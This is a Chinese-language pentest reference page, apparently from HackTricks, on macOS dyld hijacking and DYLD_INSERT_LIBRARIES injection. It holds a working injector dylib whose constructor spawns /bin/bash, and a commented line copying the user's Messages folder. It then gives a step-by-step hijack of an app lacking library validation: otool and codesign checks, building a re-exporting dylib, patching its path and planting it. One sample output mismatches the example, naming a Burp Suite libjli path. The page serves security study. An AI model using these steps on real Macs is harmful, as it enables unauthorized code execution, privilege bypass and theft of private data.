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hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

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macOS Dyld劫持和DYLD_INSERT_LIBRARIES

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DYLD_INSERT_LIBRARIES基本示例

要注入的库以执行shell：

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

攻击目标二进制文件：

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

注入（Injection）：

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld劫持示例

目标易受攻击的二进制文件是/Applications/VulnDyld.app/Contents/Resources/lib/binary。

{% tabs %} {% tab title="entitlements" %}

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

{% endtab %}

{% tab title="LC_RPATH" %} {% code overflow="wrap" %}

# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)

{% endcode %} {% endtab %}

{% tab title="@rpath" %} {% code overflow="wrap" %}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions

{% endcode %} {% endtab %} {% endtabs %}

根据之前的信息，我们知道它没有检查加载的库的签名，并且它正在尝试从以下位置加载库：

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

然而，第一个位置不存在：

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

所以，它是可以被劫持的！创建一个库，通过重新导出来执行一些任意代码并导出与合法库相同的功能。并记得使用预期版本进行编译：

{% code title="lib.m" %}

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

{% endcode %}

编译它：

{% code overflow="wrap" %}

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

{% endcode %}

在库中创建的重新导出路径是相对于加载器的，让我们将其更改为要导出的库的绝对路径：

{% code overflow="wrap" %}

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

{% endcode %}

最后将其复制到劫持位置：

{% code overflow="wrap" %}

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

{% endcode %}

然后执行二进制文件并检查库是否被加载：

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib被劫持在/Applications/VulnDyld.app/Contents/Resources/lib/binary中
Usage: [...]

{% hint style="info" %} 关于如何利用此漏洞滥用Telegram的相机权限的详细说明可以在https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/找到 {% endhint %}

更大规模

如果您计划尝试在意外的二进制文件中注入库，您可以检查事件消息以找出库何时在进程中加载（在这种情况下删除printf和/bin/bash执行）。

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
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